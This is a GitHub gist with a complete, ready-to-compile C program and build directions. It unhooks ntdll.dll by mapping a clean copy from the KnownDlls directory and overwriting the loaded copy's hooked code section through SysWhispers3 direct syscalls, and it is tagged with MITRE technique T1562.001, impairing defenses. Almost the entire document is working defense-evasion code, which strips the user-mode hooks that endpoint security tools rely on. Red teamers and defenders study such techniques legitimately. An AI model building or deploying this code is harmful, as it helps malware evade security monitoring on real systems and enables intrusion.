Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Created June 18, 2024 13:05
Show Gist options
  • Save wizardy0ga/bb17c07f243e0fd197b2de99181bf52f to your computer and use it in GitHub Desktop.
Save wizardy0ga/bb17c07f243e0fd197b2de99181bf52f to your computer and use it in GitHub Desktop.
Unhook ntdll with a fresh text section from the knowndlls directory using syscalls generated with syswhispers3.
/*
Author:
wizardy0ga
Date:
June 2024
Arch:
x64
Description:
Unhook ntdll with a fresh text section from the knowndlls directory using syscalls generated with syswhispers3.
Compiler:
MSVC
Mitre:
Execution:
T1106 - Native API
Defense Evasion:
T1562.001 - Impair Defenses: Disable or Modify Tools
Syswhispers3:
Github: https://github.com/klezVirus/SysWhispers3
Command: python syswhispers.py -m jumper -a x64 --functions NtProtectVirtualMemory,NtOpenSection,NtMapViewOfSection,NtClose,NtWriteVirtualMemory,NtUnmapViewOfSection -o syscalls
Directions:
Run syswhispers & copy the header file / asm into the same directory as this file.
Compile (Windows):
Open x64 vsdevshell.
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl.exe syscalls.c main.c
link.exe /OUT:UnhookNtDll.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj
Reference:
https://github.com/vxunderground/VX-API/blob/69e5232de6474a7e698619fe7760dc0e3c292258/VX-API/HashStringSdbm.cpp#L14
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching
*/
#include "syscalls.h"
#include "stdio.h"
#define nterror(api, status) printf("[!] " api " failed with error: 0x%0.8X\n", status);
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__);
#define check_syscall(api, code, status) if (status != code) { nterror(api, status); return FALSE; }
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { printf("Dos signature mismatch.\n"); return -1; }
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { printf("Nt signature mismatch.\n"); return -1; }
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003
#define HASH_SEED 7291
/* structs resourced from https://ntdoc.m417z.com/ */
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef VOID(NTAPI* fpRtlInitUnicodeString) (
PUNICODE_STRING DestinationString,
__drv_aliasesMem PCWSTR SourceString
);
/* Borrowed from MSDN */
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
int main() {
LARGE_INTEGER SectionOffset = { 0 };
OBJECT_ATTRIBUTES OA = { 0 };
UNICODE_STRING String = { 0 };
ULONG Hash = HASH_SEED,
OldProtection = 0;
INT Char = 0;
NTSTATUS Result = 0;
SIZE_T NtDllSize = 0,
TextSectionSize = 0,
BytesWritten = 0;
HANDLE hSection = NULL;
PPEB pPeb = NULL;
PVOID pHookedNtDllBase = NULL,
pUnhookedNtDllBase = NULL,
pHookedTextSection = NULL,
pUnhookedTextSection = NULL;
WCHAR NtDll[] = L"\\KnownDlls\\ntdll.dll";
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
PIMAGE_DOS_HEADER pHookedDos = NULL,
pUnhookedDos = NULL;
PIMAGE_NT_HEADERS pHookedNt = NULL,
pUnhookedNt = NULL;
int StringSize = 0;
/* Initialize ntdll path as unicode string */
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
if (!RtlInitUnicodeString) {
printf("[!] Failed to resolve RtlInitUnicodeString function from ntdll.\n"); return -1;
}
RtlInitUnicodeString(&String, NtDll);
InitializeObjectAttributes(&OA, &String, OBJ_CASE_INSENSITIVE, NULL, NULL);
/* Get a handle to the dll in the knowndlls directory */
check_syscall("NtOpenSection", 0x0, Sw3NtOpenSection(&hSection, SECTION_MAP_READ, &OA));
/* Use the section handle to map the ntdll image into this processes memory. This is the unhooked copy. */
check_syscall("NtMapViewOfSection", STATUS_IMAGE_NOT_AT_BASE, Sw3NtMapViewOfSection(
hSection
, (HANDLE)-1
, &pUnhookedNtDllBase
, 0
, 0
, &SectionOffset
, &NtDllSize
, ViewShare
, 0
, PAGE_READONLY
));
if (hSection == INVALID_HANDLE_VALUE) {
printf("[!] Invalid handle value was returned by NtMapViewOfSection.\n"); return -1;
}
print("Mapped %S to %lld byte image at 0x%p", String.Buffer, NtDllSize, pUnhookedNtDllBase);
/* Get a the base of hooked ntdll from local peb. Hash ntdll name using sdbm. */
pPeb = (PPEB)__readgsqword(0x60);
for (
pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink;
pEntry->DllBase != NULL;
pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink
) {
Hash = HASH_SEED;
Char = 0;
PWCHAR pDllName = pEntry->BaseDllName.Buffer;
while (Char = towlower(*pDllName++)) {
Hash = Char + (Hash << 6) + (Hash << 16) - Hash;
}
if (Hash == 0x841C5859) {
print("Found %S base address in memory at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase);
pHookedNtDllBase = pEntry->DllBase;
}
}
if (!pHookedNtDllBase || !pUnhookedNtDllBase) {
printf("Failed to locate hooked or unhooked ntdll in memory.\n"); return -1;
}
/* Get the text sections from hooked & unhooked ntdll images */
check_dos((pHookedDos = (PIMAGE_DOS_HEADER)pHookedNtDllBase));
check_dos((pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDllBase));
check_nt ((pHookedNt = (PIMAGE_NT_HEADERS)( (PBYTE)pHookedNtDllBase + pHookedDos->e_lfanew) ));
check_nt ((pUnhookedNt = (PIMAGE_NT_HEADERS)( (PBYTE)pUnhookedNtDllBase + pUnhookedDos->e_lfanew) ));
pHookedTextSection = (PVOID)( (ULONG_PTR)pHookedNtDllBase + pHookedNt->OptionalHeader.BaseOfCode );
pUnhookedTextSection = (PVOID)( (ULONG_PTR)pUnhookedNtDllBase + pUnhookedNt->OptionalHeader.BaseOfCode );
TextSectionSize = pHookedNt->OptionalHeader.SizeOfCode;
if (!pHookedTextSection || !pUnhookedTextSection) {
printf("Failed to locate text section for hooked or unhooked dll image.\n"); return -1;
}
print("Found hooked (0x%p) & unhooked (0x%p) text sections", pHookedTextSection, pUnhookedTextSection);
/* Set memory protections to allow copy. Copy unhooked text section into hooked. Restore memroy protections. */
check_syscall("NtProtectVirtualMemory [RWX]" , 0x0, Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &TextSectionSize, PAGE_EXECUTE_WRITECOPY, &OldProtection));
check_syscall("NtWriteVirtualMemory" , 0x0, Sw3NtWriteVirtualMemory((HANDLE)-1, pHookedTextSection, pUnhookedTextSection, TextSectionSize, &BytesWritten));
check_syscall("NtProtectVirtualMemory [Restore]", 0x0, Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &TextSectionSize, OldProtection, &OldProtection));
print("Copied unhooked text section into hooked text section. Unhooking complete! Press enter to cleanup.");
getchar();
/* Cleanup */
check_syscall("NtUnmapViewOfSection", 0x0, Sw3NtUnmapViewOfSection((HANDLE)-1, pUnhookedNtDllBase));
check_syscall("NtClose", 0x0, Sw3NtClose(hSection));
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment